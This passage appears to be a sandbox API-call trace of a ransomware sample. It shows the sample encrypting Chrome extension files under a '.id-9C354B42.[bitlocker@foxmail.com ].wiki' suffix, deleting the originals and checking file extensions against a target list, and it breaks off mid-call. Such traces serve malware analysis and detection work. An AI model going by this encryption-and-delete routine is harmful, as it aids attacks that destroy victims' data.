lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.279] lstrlenW (lpString="messages.json") returned 13 [0172.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0172.280] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=210) returned 1 [0172.280] CloseHandle (hObject=0x334) returned 1 [0172.280] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json")) returned 0x2020 [0172.280] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.280] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0172.280] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.280] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.280] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0172.281] GetLastError () returned 0x0 [0172.281] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xd2, lpOverlapped=0x0) returned 1 [0172.282] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.283] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.283] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.283] SetEndOfFile (hFile=0x1a4) returned 1 [0172.283] CloseHandle (hObject=0x1a4) returned 1 [0172.283] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.283] SetEndOfFile (hFile=0x334) returned 1 [0172.284] CloseHandle (hObject=0x334) returned 1 [0172.284] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.284] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json")) returned 1 [0172.624] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0172.624] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0172.625] lstrlenW (lpString=".doc") returned 4 [0172.625] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.625] lstrlenW (lpString=".docx") returned 5 [0172.625] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.625] lstrlenW (lpString=".pdf") returned 4 [0172.625] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.625] lstrlenW (lpString=".xls") returned 4 [0172.625] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.625] lstrlenW (lpString=".xlsx") returned 5 [0172.625] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.625] lstrlenW (lpString=".ppt") returned 4 [0172.625] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0172.625] lstrlenW (lpString=".zip") returned 4 [0172.625] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.625] lstrlenW (lpString=".rar") returned 4 [0172.625] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.625] lstrlenW (lpString=".bz2") returned 4 [0172.625] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.625] lstrlenW (lpString=".7z") returned 3 [0172.625] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0172.625] lstrlenW (lpString=".dbf") returned 4 [0172.625] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0172.625] lstrlenW (lpString=".1cd") returned 4 [0172.625] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0172.625] lstrlenW (lpString=".jpg") returned 4 [0172.625] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0172.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0172.626] lstrlenW (lpString=".doc") returned 4 [0172.626] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.626] lstrlenW (lpString=".docx") returned 5 [0172.626] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.626] lstrlenW (lpString=".pdf") returned 4 [0172.626] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.626] lstrlenW (lpString=".xls") returned 4 [0172.626] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.626] lstrlenW (lpString=".xlsx") returned 5 [0172.626] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.626] lstrlenW (lpString=".ppt") returned 4 [0172.626] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0172.626] lstrlenW (lpString=".zip") returned 4 [0172.626] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.626] lstrlenW (lpString=".rar") returned 4 [0172.626] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.626] lstrlenW (lpString=".bz2") returned 4 [0172.626] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.626] lstrlenW (lpString=".7z") returned 3 [0172.626] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0172.626] lstrlenW (lpString=".dbf") returned 4 [0172.626] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0172.626] lstrlenW (lpString=".1cd") returned 4 [0172.626] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json") returned 151 [0172.626] lstrlenW (lpString=".jpg") returned 4 [0172.626] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.627] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.627] lstrlenW (lpString="verified_contents.json") returned 22 [0172.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.077] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=11094) returned 1 [0173.078] CloseHandle (hObject=0x320) returned 1 [0173.078] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json")) returned 0x2020 [0173.078] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.078] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.078] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.078] GetLastError () returned 0x0 [0173.078] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x2b56, lpOverlapped=0x0) returned 1 [0173.163] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x2b60, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2b60, lpOverlapped=0x0) returned 1 [0173.164] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.164] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x100, lpOverlapped=0x0) returned 1 [0173.165] SetEndOfFile (hFile=0x19c) returned 1 [0173.165] CloseHandle (hObject=0x19c) returned 1 [0173.165] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.165] SetEndOfFile (hFile=0x320) returned 1 [0173.166] CloseHandle (hObject=0x320) returned 1 [0173.166] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.166] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json")) returned 1 [0173.166] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.166] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.166] lstrlenW (lpString=".doc") returned 4 [0173.166] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.166] lstrlenW (lpString=".docx") returned 5 [0173.166] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.166] lstrlenW (lpString=".pdf") returned 4 [0173.166] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.166] lstrlenW (lpString=".xls") returned 4 [0173.166] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.166] lstrlenW (lpString=".xlsx") returned 5 [0173.166] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.166] lstrlenW (lpString=".ppt") returned 4 [0173.166] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.167] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.167] lstrlenW (lpString=".zip") returned 4 [0173.167] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.167] lstrlenW (lpString=".rar") returned 4 [0173.167] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.167] lstrlenW (lpString=".bz2") returned 4 [0173.167] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.167] lstrlenW (lpString=".7z") returned 3 [0173.167] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.167] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.167] lstrlenW (lpString=".dbf") returned 4 [0173.167] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.167] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.167] lstrlenW (lpString=".1cd") returned 4 [0173.167] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.167] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.167] lstrlenW (lpString=".jpg") returned 4 [0173.167] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.167] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.167] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.167] lstrlenW (lpString=".doc") returned 4 [0173.167] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.167] lstrlenW (lpString=".docx") returned 5 [0173.167] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.167] lstrlenW (lpString=".pdf") returned 4 [0173.167] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.167] lstrlenW (lpString=".xls") returned 4 [0173.167] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.167] lstrlenW (lpString=".xlsx") returned 5 [0173.168] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.168] lstrlenW (lpString=".ppt") returned 4 [0173.168] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.168] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.168] lstrlenW (lpString=".zip") returned 4 [0173.168] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.168] lstrlenW (lpString=".rar") returned 4 [0173.168] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.168] lstrlenW (lpString=".bz2") returned 4 [0173.168] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.168] lstrlenW (lpString=".7z") returned 3 [0173.168] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.168] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.168] lstrlenW (lpString=".dbf") returned 4 [0173.168] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.168] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.168] lstrlenW (lpString=".1cd") returned 4 [0173.168] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.168] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.168] lstrlenW (lpString=".jpg") returned 4 [0173.168] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.168] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.168] lstrlenW (lpString="messages.json") returned 13 [0173.168] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.169] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=235) returned 1 [0173.169] CloseHandle (hObject=0x320) returned 1 [0173.169] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json")) returned 0x2020 [0173.169] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.169] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.169] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.169] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.169] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.170] GetLastError () returned 0x0 [0173.170] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xeb, lpOverlapped=0x0) returned 1 [0173.171] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0173.172] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, 